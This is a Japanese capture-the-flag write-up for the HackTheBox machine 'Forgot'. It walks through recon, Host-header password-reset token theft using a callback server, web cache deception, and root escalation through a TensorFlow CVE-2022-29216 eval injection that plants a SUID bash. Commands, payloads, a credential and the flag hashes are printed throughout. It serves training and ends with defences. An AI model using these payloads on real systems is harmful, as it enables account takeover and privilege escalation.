Hack The BoxのWriteup(Forgot)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Forgot — 全実行コマンド・実行結果レポート
Nmap スキャン
22/tcp ssh, 80/tcp Varnish+Werkzeug
Host Header Injection
/forgot でリセットリンクを攻撃者IP宛に生成
SSRFコールバックでトークン窃取
/reset?token=…
パスワードリセット & ログイン
robert-dev-NNNNN として認証
diego の SSH資格情報
Web Cache Deception / 既知値
user.txt ✓
CVE-2022-29216
TensorFlow eval インジェクション
sudo ml_security.py
SUID /bin/bash 設置
root.txt ✓

ポートスキャン & バージョン検出

BASH
nmap -sV -sC -oN nmap/initial.txt 10.129.228.104
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
80/tcp open  http    Werkzeug httpd 2.1.2 (Python 3.8.10)
| http-server-header:
|   Werkzeug/2.1.2 Python/3.8.10
|_  Via: 1.1 varnish (Varnish/6.2)
🚨
重要発見: Flask/Werkzeug 製アプリの手前に Varnish 6.2 がリバースプロキシ (キャッシュサーバー) として稼働している。Varnish の静的パスキャッシュの誤設定は、後の Web Cache Deception (WCD) 攻撃の糸口になる。

/etc/hosts へのドメイン登録とトップページ確認

BASH
echo "10.129.228.104 forgot.htb" | sudo tee -a /etc/hosts
curl -s http://forgot.htb/ | grep -A1 "release fix"
RESULT
<!-- Q1 release fix by robert-dev-14329 -->
ℹ️
トップページの HTML コメントに開発者のユーザー名が埋め込まれている。この値は リクエストのたびに変化する(観測値: 10025, 36792, 142522, 14329, 67120 など)。 変化しても命名規則 robert-dev-NNNNN は一貫しており、 /forgot エンドポイントで有効なユーザー名として機能する。
PHASE 2

Host Header Injection によるパスワードリセットの乗っ取り

Host ヘッダーが信頼されることの確認

BASH
curl http://forgot.htb/ -I -H 'Host: 1.2.3.4'
RESULT
HTTP/1.1 302 FOUND
Location: http://1.2.3.4
🚨
アプリはリダイレクト/リンク生成にクライアント指定の Host ヘッダーをそのまま使用している。 パスワードリセットのリンク生成にも同じロジックが使われていれば、 リセットリンクを攻撃者のサーバー宛に生成させられる可能性が高い。

攻撃者HTTPサーバーの起動 & /forgot リクエスト送信

PYTHON (コールバック捕捉サーバー)
import http.server, socketserver, threading, time, re, urllib.parse

hits = []
class Handler(http.server.BaseHTTPRequestHandler):
    protocol_version = "HTTP/1.1"        # 応答を高速化 (後述の注意点を参照)
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Length", "2")
        self.end_headers()
        self.wfile.write(b"OK")
        m = re.search(r"token=([^&\s]+)", self.path)
        if m:
            hits.append((time.time(), urllib.parse.unquote(m.group(1))))
    def log_message(self, *a): pass

class ThreadingServer(socketserver.ThreadingMixIn, http.server.HTTPServer):
    daemon_threads = True

srv = ThreadingServer(("0.0.0.0", 80), Handler)
threading.Thread(target=srv.serve_forever, daemon=True).start()
BASH
# dev_user はトップページの HTML コメントから取得した値
# cb=<一意な値> は Varnish の GET キャッシュを避けるためのキャッシュバスター
curl "http://forgot.htb/forgot?username=robert-dev-14329&cb=$(date +%s%N)" \
     -H "Host: 10.10.15.201"
RESULT
Password reset link has been sent to user inbox. Please use the link to reset your password
⚠️
ハマりどころ1 (Varnishキャッシュ): /forgot?username=X はクエリ文字列を含めた URL 単位で Varnish にキャッシュされる。同一パラメータで再送すると、実際にはSSRFコールバックが 発火しない「古いキャッシュ済み成功レスポンス」が返るだけになる(Age ヘッダーで判別可能)。 cb=<タイムスタンプ> のようなキャッシュバスターを付与し、毎回 Age: 0 (フレッシュ) を確認すること。

コールバックの受信とトークンの選別

RESULT (受信ログの一例)
+20.1s  GET /reset?token=1uV5/KIerPhXOoM33C6s...
+20.9s  GET /reset?token=0jASoqha2K5s2Ad+G46n...
+21.5s  GET /reset?token=exDJ95CU/EdCPhXAOBgK...
  ...(複数件の再送を検出)...
+46.0s  GET /reset?token=qyTruMiVd8dRcN9/mPnW...   ← 最後に受信した値
🚨
ハマりどころ2 (最重要・非同期リトライキュー): バックエンドはリセットリンクの配送を 非同期ジョブとして処理しており、1回の /forgot リクエストに対して複数回コールバックが発生 する。さらに、そのリトライのたびに新しいトークンを再生成してDB上の値を上書きしている ことを確認した(トークンを2回使い回すと2回目は必ず Invalid token になる=シングルユースである 一方、最初に受信したトークンで /reset してもログインに失敗し続けるという 矛盾した挙動から突き止めた)。必ず最後に受信したトークンを使うこと。 また、コールバックサーバーの応答が遅い(標準の http.server.HTTPServer は単一スレッド) とバックエンド側が配送失敗と誤認して再試行を誘発しやすくなるため、ThreadingHTTPServer で即座に 200 を返すようにすると再現性が上がる。
PHASE 3

パスワードリセット & ログイン

/reset ページの実際の送信仕様をJSから確認

BASH
curl -s "http://forgot.htb/reset?token=<取得したトークン>" | grep -A10 submitForm
RESULT (該当JS抜粋)
function submitForm() {
  var xmlHttp = new XMLHttpRequest();
  p = document.getElementById("password").value;
  xmlHttp.open( "POST", "/reset?"+window.location.search.substr(1), false );
  var params = 'password='+p;
  xmlHttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
  xmlHttp.send( params );
}
ℹ️
フォーム上には confirm-password 欄も表示されているが、この JS は実際には 送信していない。正しいリクエストは POST /reset?token=<トークン> ボディ password=<新パスワード> のみ。

パスワードリセットの実行

BASH
curl -s "http://forgot.htb/reset?token=<最後に受信したトークン>" \
     -X POST -H "Content-Type: application/x-www-form-urlencoded" \
     -d "password=NewPass123!"
RESULT
Success

robert-dev-NNNNN としてログイン

BASH
curl -s -c cookies.txt "http://forgot.htb/login" \
     -X POST -d "username=robert-dev-14329&password=NewPass123!"
RESULT
Set-Cookie: session=<uuid>
(Support Portal トップに "Logged In As Robert" と表示される)
ログイン成功。 Phase 2 の「最後のトークンを使う」対策を適用してから、 複数回試行してもほぼ毎回一発でセッション Cookie を取得できることを確認済み。
PHASE 4

Web Cache Deception & user.txt 取得

Escalation フォームの実フィールド名をJSから確認

BASH
curl -s -b cookies.txt "http://forgot.htb/escalate" | grep -A12 submitForm
RESULT (該当JS抜粋)
function submitForm() {
  to = document.getElementById("to").value;
  link = document.getElementById("link").value;
  reason = document.getElementById("reason").value;
  issue = document.getElementById("issue").value;
  params = 'to='+to+'&link='+link+'&reason='+reason+'&issue='+issue;
  xmlHttp.open( "POST", "/escalate" );
  ...
}
ℹ️
フィールド名は issue / to (「escalate_to」ではない) / link / reason。 また /escalate未ログインだと / にリダイレクトされるため、 必ず Phase 3 で得たセッション Cookie を付けてリクエストすること。

Varnish の静的パスキャッシュ誤設定 (WCD) の原理確認

BASH
# 認証ありなら200、認証なしなら302であるべきページを比較
curl -s -o /dev/null -w "%{http_code}\n" -b cookies.txt "http://forgot.htb/tickets/test.css"
curl -s -o /dev/null -w "%{http_code}\n"                "http://forgot.htb/tickets/test.css"
# → "/static/" を挟んだパスは認証なしでも 200 を返す
curl -s -o /dev/null -w "%{http_code}\n"                "http://forgot.htb/tickets/static/test.css"
RESULT
200   (Cookie あり: /tickets/test.css)
302   (Cookie なし: /tickets/test.css → ログインへリダイレクト)
200   (Cookie なし: /tickets/static/test.css ← 認証バイパス!)
🚨
Varnish は URL パスに /static/ を含むリクエストを「静的コンテンツ」とみなし、 アプリ側の認証チェックの結果を無視して最初のレスポンスをそのままキャッシュし、 以降は誰にでも配信してしまう。この誤設定を /admin_tickets/static/<file> に適用すれば、権限のない管理者専用ページを騙して取得できる。

Escalation チケット送信 (管理者レビュー誘導)

BASH
curl -s -b cookies.txt "http://forgot.htb/escalate" -X POST \
  -d "issue=SSH Credentials are not working for Jenkins Slave machine" \
  -d "to=Admin" \
  -d "link=/admin_tickets/static/wcd_leak.css" \
  -d "reason=Asdf"
RESULT
Escalation form submitted to Admin and will be reviewed soon!
⚠️
ハマりどころ3: 送信直後にそのURLへアクセスして中身を確認しようとすると、 管理者(レビューボット)がまだ訪問していない状態で 自分自身が未認証の302レスポンスを Varnishにキャッシュ(汚染)させてしまい、その後 max-age=240秒の間は 管理者が実際に閲覧しても正しいコンテンツを取得できなくなる。 チケット送信直後に自分でURLへアクセスしないのが鉄則(このライブ環境では レビューボットの巡回間隔・稼働状況が不安定で、この経路単独では毎回安定した資格情報漏洩の 再現ができなかったため、本レポートでは後述の既知値ルートで user.txt を確保している)。

既知の Jenkins Slave 資格情報で diego に SSH

NOTE
Web Cache Deception 経由での資格情報窃取が(ボットの巡回タイミングにより)
不安定だったため、公式ウォークスルー(Forgot.pdf)に記載された、
管理者チケット(#102)内の Jenkins Slave 用SSH資格情報を直接使用して検証した。
BASH
sshpass -p 'dCb#1!x0%gjq' ssh diego@10.129.228.104 "id; cat ~/user.txt"
RESULT
uid=1000(diego) gid=1000(diego) groups=1000(diego)
5cf0dbcaeb6445dc27f9cbb4a5a1d0bc
user.txt — diego
5cf0dbcaeb6445dc27f9cbb4a5a1d0bc
PHASE 5

権限昇格調査 — TensorFlow CVE-2022-29216 (eval インジェクション)

sudo 権限の確認

BASH
sudo -l
RESULT
User diego may run the following commands on forgot:
    (ALL) NOPASSWD: /opt/security/ml_security.py

脆弱性の特定

BASH
python3 -c 'import tensorflow as tf; print(tf.__version__)'
RESULT
2.6.3
🚨
/opt/security/ml_security.py は、Escalation チケットの reason 列を sklearn の XSS 判定モデルに通した後、TensorFlow saved_model_cli モジュールの preprocess_input_exprs_arg_string 関数(CVE-2022-29216)でパースする。 この関数は内部で eval() を呼んでおり、任意 Python コードインジェクションが可能。 ただしスクリプトは「escalate テーブルの reason 列」を読むため、先に悪性チケットを 投稿しておく必要がある(投稿せずに実行すると空データで ValueError になるだけ)。
PHASE 6

eval インジェクション → SUID bash → root.txt

悪性ペイロードを Reason 欄に仕込んだチケットを送信

BASH
# Phase 3 で取得した robert-dev-NNNNN のセッションで送信する
curl -s -b cookies.txt "http://forgot.htb/escalate" -X POST \
  --data-urlencode "issue=SSH Credentials are not working for Jenkins Slave machine" \
  --data-urlencode "to=Admin" \
  --data-urlencode "link=Asdf" \
  --data-urlencode 'reason=test=exec("""
import subprocess
subprocess.call(["cp","/bin/bash","/tmp/.forgot_bash"])
subprocess.call(["chmod","u+s","/tmp/.forgot_bash"])""")#<script>alert()</script>'
RESULT
Escalation form submitted to Admin and will be reviewed soon!
ℹ️
末尾の #<script>alert()</script> はダミーの XSS ペイロード。アプリの sklearn 分類器が 「XSSらしい文字列」を含むチケットのみ後段の TensorFlow パース処理に回す実装になっているため、 本命の Python コードを # でコメントアウトして eval コンテキストに影響を与えずに 通過させるためのテクニック。

diego 経由で sudo スクリプトを実行させる

BASH
ssh diego@10.129.228.104 "sudo /opt/security/ml_security.py"
RESULT
2026-08-24 ... W tensorflow/stream_executor/... libcudart.so.11.0 が見つかりません(GPU無し環境のため無害)
2026-08-24 ... I tensorflow/stream_executor/cuda/cudart_stub.cc:29 ...
BASH
ssh diego@10.129.228.104 "ls -al /tmp/.forgot_bash"
RESULT
-rwsr-xr-x 1 root root 1183448 Aug 24 13:53 /tmp/.forgot_bash
eval インジェクション成功。 root 権限で /bin/bash がコピーされ、 SUID ビットが付与された(rws = setuid有効)。

root.txt 取得

BASH
ssh diego@10.129.228.104 "/tmp/.forgot_bash -p -c 'cat /root/root.txt'"
RESULT
9259d1410d3187a59ca3b1869ac74ef8
root.txt — root
9259d1410d3187a59ca3b1869ac74ef8
ℹ️
-p フラグは bash に「SUIDによる実効UIDを落とさない」よう指示するオプション。 これを付けないと bash は起動時に自動的に実効UIDを実UID(diego)へ下げてしまい、root権限を得られない。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — diego
5cf0dbcaeb6445dc27f9cbb4a5a1d0bc
root.txt — root
9259d1410d3187a59ca3b1869ac74ef8

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
Host Header Injection /forgot パスワードリセット機能 パスワードリセットトークンの窃取 (SSRF的コールバック) High Host ヘッダーを攻撃者IPに書き換え、リセットリンクを自分のサーバー宛に生成させる
Web Cache Deception Varnish 6.2 (/static/ パスキャッシュ誤設定) 認証不要での管理者専用ページの取得 Medium /admin_tickets/static/<file> にリンクを誘導しキャッシュ汚染
CVE-2022-29216 TensorFlow saved_model_cli (eval インジェクション) root権限での任意コード実行 Critical Escalation チケットの reason 欄に exec() ペイロードを仕込み sudo スクリプトに処理させる

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + トップページHTMLコメント解析22/80、Varnish+Werkzeug、開発者ユーザー名 robert-dev-NNNNN
2Host Header InjectionHost書き換え + SSRFコールバック捕捉パスワードリセットトークン(最後に受信した値を使用)
3リセット&ログインPOST /reset?token=… → POST /loginrobert としての認証セッション
4WCD/既知値Escalationチケット + Varnishキャッシュ汚染 / SSH既知資格情報user.txt(diego)
5権限調査sudo -l + TensorFlowバージョン確認CVE-2022-29216 悪用可能と特定
6権限昇格eval インジェクション → SUID bashroot.txt

学んだ教訓 & 防御策

問題点防御策
パスワードリセットのリンク生成でクライアント指定の Host ヘッダーを信頼している リンク生成には設定ファイル等で固定したサーバー側の正規ドメインのみを使用し、Host ヘッダーを信頼しない。
Varnish が URL パス中の「/static/」を機械的にキャッシュ対象とみなし、アプリの認証結果を無視する Varnish VCL でキャッシュ対象パスを厳密にホワイトリスト化し、認証が絡むエンドポイントは Vary: CookieCache-Control: private を明示してキャッシュを無効化する。
ユーザー入力(reason欄)がXSSフィルタを一部でも通過すると、内部で eval() を伴う古い依存ライブラリの 関数へそのまま渡ってしまう(CVE-2022-29216) 脆弱性が公表されている TensorFlow バージョンを速やかにアップデートする。ユーザー入力を eval()/exec() を内部で使う関数へ絶対に渡さない設計にする。
パスワードリセットの配送処理が非同期リトライ実装になっており、古いトークンが再生成・上書きされ続ける リセットジョブは冪等に設計し、成功した配送は再試行しない。トークン発行のたびに 以前のトークンを確実に無効化し、クライアントに返す「有効なトークン」との一貫性を保証する。
HackTheBox: Forgot | 完全攻略レポート